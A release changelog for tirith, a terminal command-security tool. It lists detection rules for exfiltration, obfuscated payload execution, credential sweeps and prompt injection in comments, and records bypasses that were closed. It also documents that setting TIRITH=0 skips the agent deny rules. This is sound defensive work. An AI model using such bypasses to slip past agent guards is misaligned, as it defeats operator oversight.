—TIRITH_POLICY_ROOT, walk-up from the cwd to the.gitboundary, then the user config dir — via a new shareddiscover_local_policy_pathresolver.tirith policy validateresolves through it too, so it now locates and reports on a present-but-corrupt policy instead of reporting "no policy file found"; anddoctor --fixgained an existence guard so it never overwrites an existing policy file. Previouslydoctoronly checked the user config dir andTIRITH_POLICY_ROOT, never walking up from the cwd.- Bash enter-mode auto-degrade left
tirith doctorreporting stale shell state (#111) — when an interactive bash shell degrades from enter mode to preexec,_tirith_degrade_to_preexecnow re-exportsTIRITH_BASH_EFFECTIVE_MODE=preexecandTIRITH_BASH_EFFECTIVE_PROTECTION=warn-only, so a childtirith doctorreports the real post-degrade state instead of the staleenter/blocksvalues exported at shell startup.tirith doctoralso now warns when a persisted bash safe-mode flag is being overridden byTIRITH_BASH_MODE=enter. - Bash enter-mode capability probe could mis-classify a working bash (#111 follow-up) — the
cli::bash_capabilityself-test sent a no-terminal-output command (printf >> marker;printf 'true' | bash && touch marker) and then keyed completion on the PTY going quiet before killing the shell. For a command whose hook shells out totirith check, terminal silence is reached before the command runs, so the delivery probe could read an empty marker and cachebrokenfor a perfectly working bash, and the blocking probe could read a not-yet-run command's absent marker as a successful "block". Both probes now poll the marker file with a bounded timeout — the same technique the PTY conformance harness already uses — instead of inferring completion from terminal quiet. The blocking probe additionally gained an anti-vacuous guard: it first delivers an allowed command and confirms (by polling its marker) that the probe shell genuinely delivers commands, and only then tests the blocked command; if the allowed command does not run the verdict isinconclusive, never a false "blocked". TIRITH_STATUSleaked into non-interactive child processes — every shell hook (bash, zsh, fish, PowerShell, nushell) setTIRITH_STATUSas an exported environment variable, so a non-interactive child — which has no tirith protection at all — inherited the parent interactive shell's status (e.g.bash -ithenbash -c 'echo $TIRITH_STATUS'printedwarn-only).TIRITH_STATUSexists only for the user's prompt, which runs in the interactive shell, so it is now a plain non-exported shell variable (bash/zsh global, fishset -g, PowerShell$global:) — in-shell prompt integration (PS1 /PROMPT_COMMAND/fish_prompt/ a PowerShellpromptfunction) is unaffected, and children no longer inherit a misleading status. The nushell and PowerShell hooks also gained the interactivity guard they were missing. nushell has no session variable that is both prompt-readable and not child-inherited, so the nushell hook no longer setsTIRITH_STATUSat all.docs/prompt-status.mdis updated accordingly, including a caveat that Starship — an external prompt renderer running as a separate process — needs the variable explicitly re-exported.
agent_rules.denyis bypassed by env-bypass (TIRITH=0) ontirith check, the gateway, and the MCPtools/call_check_commandhandler. All three sites that route throughpost_process_verdicthave anif raw_verdict.bypass_honored { /* skip post-processing */ }early-return. The bypass branch audits the raw verdict and never reachesapply_agent_rules, so an operator who writesagent_rules: { deny: [...] }will find thatTIRITH=0invocations sidestep the deny matcher. Consistent with howTIRITH=0overrides every other detection, but worth surfacing because operators may reasonably expect deny to be more authoritative than the user's interactive bypass. Pinned by the regression testagent_rules_deny_skipped_under_tirith_bypass_todayincrates/tirith/tests/cli_integration.rsand documented under "Known limitation" indocs/agent-governance-design.md§5. To be revisited in M5 after operator feedback.
- AWS access-key false positive in S3 pre-signed URLs and SigV4 Authorization headers (#101) — the credential rule no longer flags
AKIA…matches that sit inside theX-Amz-Credentialvalue of a parseable URL whose query also hasX-Amz-Algorithm=AWS4-HMAC-SHA256and a non-emptyX-Amz-Signature, or inside theCredential=field of anAuthorization: AWS4-HMAC-SHA256 …, Signature=…header. The carve-out is anchored to absolute byte spans of the actual SigV4 fields — a strayAKIA…elsewhere in the same URL/headers/body still fires. Bare access keys,Authorization: Bearer AKIA…without SigV4 markers, and URLs missing any SigV4 marker continue to flag. New tests cover each shape and each adversarial bypass we considered. tirith setup codexagainst current Codex CLI versions — recognises the newError: No MCP server named 'X' found.stderr message instead of treating it as an unexpected failure, and accepts both the legacy top-levelcommand/argsJSON shape and the current nestedtransport.command/argsshape returned bycodex mcp get --json. Drift detection still works against either shape.- Non-interactive
zsh -lc ...no longer blocked by stale.zshenvguard — the guard now bakes a stable absolute path to the tirith binary at install time (resolved via PATH lookup with symlink canonicalisation, falling back tocurrent_exe()when the PATH entry is a#!wrapper script for npm/pnpm). Previously the guard relied on the bare nametirithbeing on PATH, which fails before.zshrc/.zprofilepopulate PATH. The path is shell-quoted so spaces and apostrophes round-trip safely. - npm shadow false positive on
tirith doctor/tirith init(#105) — Unix install via npm no longer warns that thenode_modules/tirith/bin/tirithJS wrapper shadows the native binary.resolve_effective_tirith_targetnow detects the npm wrapper layout (after canonicalising the PATH entry through any symlinks), looks up the matching@sheeki03/tirith-{platform}-{arch}/bin/tirithsibling using the same OS+arch mapping the wrapper itself uses, and treats both paths as the same install. Unrelated tirith binaries on PATH (the documented PyPI collision case) still warn. - Windows path-shadow false positive on Scoop installs —
tirith doctor/tirith initno longer warn that the Scoop shim at~\scoop\shims\tirith.exeshadows the real binary; the shim is resolved through its.shimsidecar to the real path before the equality check. - Installer
verify_sha256portability —scripts/install.shnow probes whethersha256sum -creads from stdin and falls back toshasum -a 256 -cwhen not (some BSDs, busybox). Regression harness added.
randbumped to 0.9.3 (RUSTSEC-2026-0097).rustls-webpkibumped to a version unaffected by upstream advisories.
- README: expanded threat intel attribution table; added incident summary; added Nixpkgs install line.
- Daily threat-DB manifest direct-pushes to
maininstead of opening auto-merge PRs that silently no-op'd when no required checks were present, accumulating an unmerged backlog. - Scoop helper code moved under
#[cfg(windows)]to silence a clippy warning surfaced by recent toolchain versions. _tirith_outputin the bash, fish, and zsh hooks now forwards all arguments instead of only$1/$argv[1]. No call site passes more than one argument today, but the previous form was a footgun for any future refactor that splits a multi-line message across positional arguments.
- Bash preexec enforcement (opt-in) — set
TIRITH_BASH_PREEXEC_ENFORCE=1to get real blocking in bash preexec mode viashopt -s extdebugplusreturn 1from theDEBUGtrap. Whole-line fail-closed semantics; one block verdict skips the entire typed line. Install-time hostile-history check refuses to engage in shells whereHISTCONTROLcontainsignorespace/ignoredups/ignoreboth, anyHISTIGNOREis set, or history is disabled. Runtime drift detection with cache-then-degrade downgrades the session to warn-only rather than claim protection it cannot deliver. IdempotentDEBUGtrap trampoline chains through any pre-existing userDEBUGtrap. Closes the "tirith says BLOCKED but the command executes" gap in #77. tirith doctorlive state — bash hook now exportsTIRITH_BASH_EFFECTIVE_MODEandTIRITH_BASH_EFFECTIVE_PROTECTION(interactive shells only) sodoctor, a child process, can read the parent shell's live state. Doctor splits requested-vs-effective onto separate lines so mid-session degrades are legible.- First-use preexec banner — on the first command it intercepts, bash preexec prints a one-line reminder that warn-only mode does not block, with a pointer at enter mode.
- Threat intelligence database (Phases A/B/C) —
tirith threatdbsubcommand, threat DB compiler binary with CI workflow, signed cache format, detection rules keyed on known-bad hostnames/IPs/packages/typosquats, supplemental feed overlay with Phase B feed parsers and rule mapping, Phase C runtime API enrichment wired intocheckand daemon paths, auto-update and staleness reporting indoctor. - Per-session warning accumulator with a new
tirith warningsCLI command and shell exit summaries across all hooks. - Escalation engine with cooldown and post-process verdicts, integrated into the engine, audit log, MCP gateway, check, and daemon paths.
- Strict warn mode with a new
WarnAckexit code 3. - Daemon mode with network-aware URL checks; Windows parity for network and setup features.
tirith policy init,validate,testsubcommands;tirith explain --rulefor rule documentation.tirith doctor --fixfor progressive remediation, plus--reset-bash-safe-modeflag.tirith setupgainscopilot-cli(#74) andkiro(#75); scanner recognises.kiro/,.amazonq/cli-agents/, and.github/hooks/as config paths.--include,--exclude,--profilescan filters.- GitHub Action, pre-commit hook, and SARIF enrichment for CI integration.
- Text confusable detection (math alphanumerics, same-word mixed-script) plus expanded terminal/config rules.
- Detection gap analysis surfaced in
tirith doctor. - Warn-only rendering for preexec mode (#77) — preexec verdicts now render "DETECTED (shell hook cannot block in preexec mode...)" instead of the misleading "BLOCKED" banner.
SKILL.mdfor AI agent discovery.- CLI UX: error suggestions, color module,
confirmhelper, normalised output flags, help examples on every subcommand. - Tokenizer span tracking (trimmed byte range per segment) to support tighter carveouts without string scanning.
aarch64-unknown-linux-musltarget in the release pipeline.
- Restore
TIRITH=0pipe bypass without weakening paste safety (#78). - Scp/rsync remote-spec parser replaced so
host:/pathno longer trips URL-host false positives (#26). - Carve out tirith inspection args so the scanner doesn't match its own prompt text (#29).
- Wrapped commands (
sudo,env,doas,command,time,nohupprefixes) now resolve throughresolve_wrapped_commandin thenetwork_denypath so prefix chains cannot bypass policy. codefilebyte slicing clamps to UTF-8 char boundaries to avoid a panic on non-ASCII code (#76).- Approval and warn-ack temp files are cleaned up on all paths to stop
/tmpleaks (#80). - Close mid-session
HISTCONTROLbypass; preexec cache key corrected so drift-triggering pipelines do not leak composite rules. - Warn-only dedupe scoped to a single typed line so long pipelines no longer suppress later DETECTED banners.
- Windows CI: Finding import, daemon/setup module compilation, XDG audit spool test gated to Unix, Gemini path assertion gated to Unix.
- Platform-specific snapshot tests replaced with cross-platform assertions.
- Early signing-key check in the threat DB workflow.
- Linux bash preexec tests made deterministic; CI caps hung test job runtime.
- Stacked CI runs on the same ref are now cancelled;
fuzz/targetandCargo.lockignored in CI path filters. - Documentation across README and
docs/troubleshooting.mdupdated for the new enforcement matrix, threat-intel features, escalation, hidden findings,--formatflag canonicalisation, and new MCP client setup guides (Gemini CLI, OpenClaw, Pi CLI).
- Always-on pro runtime and shell-hook regression fixes.
- Windows CI test failures.
- Release publish workflow hardened.
- Crates.io re-publish idempotency check + HTTP status-code wait step.
- User-Agent header added to the crates.io API poll.
- Docker image uses pre-built release binaries instead of compiling inside the container.
Base64DecodeExecute,DataExfiltration, and code-file scan rules for JS/Python files (obfuscated payloads, dynamic code execution, secret exfiltration viafetch/requests.post).- HTML and Markdown comment content analysis with severity tiers (High for prompt injection, Medium for destructive commands).
- Send-position-only contract enforced for
SuspiciousCodeExfiltration. - Fish block-hides-prompt regression (#31).
- Zsh hook crash when
noclobberis enabled (#70). - Postfix
++/--vs division disambiguation in the codefile exfil parser. - Hardcoded user path removed from the Cursor MCP config template.
- TeamPCP post-compromise behavior detection rules (
/proc/*/memscraping, Docker remote privilege escalation, credential-file sweeps) and domain corpus fix. - Credential leak detection: known-pattern tokens (AWS, GitHub, Stripe, Slack, SendGrid, Anthropic, GCP, npm, private-key blocks) plus entropy-based generic secret detection.
- SSRF bypass closed.
allowlist_rulespolicy field now enforced.- Webhook env-var hardening.
- SSRF protection on cloaking fetch with DNS resolution checks.
- Cmd caret escapes inside double quotes; env values now redacted in findings.
- Inline
TIRITH=0paste bypass removed; blocked content previews escape control characters. - Guarded JSON-RPC notifications are analysed rather than forwarded blindly.
- Inline bypass parsing hardened; self-invocation guard removed.
- URL extraction from env-prefix assignments (
FOO=bar cmd url); MCP scan file count capped. - Secrets redacted in JSON output; shell metacharacters quoted in
initoutput. - Windows CI stability;
rustls-webpkibumped for RUSTSEC-2026-0049 (0.101.x line ignored until upstream patches land). - Windows
data_dirusesAPPDATA. clippy::type_complexitycleanup viaHostResolvertype alias.
- VS Code / Cursor shell-env resolution: skip the
.zshenvguard when the shell is resolving its env for IDE integration.
- README lists
openclawunder the setup commands.
- Cmd (Windows cmd.exe) shell tokenizer.
tirith setup openclawcommand.
- Pipe-to-shell findings now suggest
vet(andtirith runon Unix for POSIX fetch commands) as safer alternatives when the source is a URL-fetching command. - Cookbook section for getvet.sh integration (section 7).
- Interpreter detection hardening: canonical INTERPRETERS list (26 entries),
normalize_shell_token()state machine,resolve_interpreter_name()with sudo/env/command/exec/nohup prefix chains. - Extended interpreter coverage: fish, csh, tcsh, ash, mksh, python2/3, deno, bun, lua, tclsh, elixir, rscript, pwsh.
sudo -iu root bashcombined short flags now correctly resolve tobash.--end-of-options marker now stops flag-skipping in interpreter resolution.- ANSI-C quoting (
$'...') no longer applied to Fish shell (Fish doesn't support it). - Extracted URLs in remediation hints are sanitized to prevent ANSI injection.
- Shell hooks now reliably display block/warn messages in all terminal contexts (zsh, bash, fish, PowerShell).
- Blocked commands show with
command>prefix, blocked pastes show withpaste>prefix. - Fish hook now works with vi keybindings (
fish_vi_key_bindings). Binds Enter in insert, default, and replace modes. - Fish vi mode: Enter from normal mode now correctly returns to insert mode after execution.
- Shell hooks (zsh, bash) now properly display block/warn messages. Previously, messages were silently swallowed in zle/bind-x contexts.
- Re-licensed under AGPL-3.0-only with a commercial licensing option.
- Tiered analysis engine (Tier 0-3) with <2ms fast path for clean commands
- 30 detection rules across 7 categories: hostname, path, transport, terminal, command, ecosystem, environment
- Shell hooks: zsh, bash (enter + preexec modes), fish, PowerShell
- Self-contained install: hooks embedded in binary, materialized on first
tirith init - Policy engine: YAML config, allowlist/blocklist, severity overrides, fail_mode (open/closed)
- JSONL audit log with file locking and event correlation IDs
- Receipt system for script execution tracking with SHA-256 verification
doctordiagnostic command for installation troubleshooting- Shell completions (zsh, bash, fish, PowerShell) via hidden
completionssubcommand - Man page via hidden
manpagesubcommand diffcommand for comparing URLs against known-good patternsscorecommand for URL risk scoringwhycommand to explain the last triggered ruleruncommand for safe script download and execution (Unix only)- 235 golden fixture tests across 10 categories
- Criterion performance benchmarks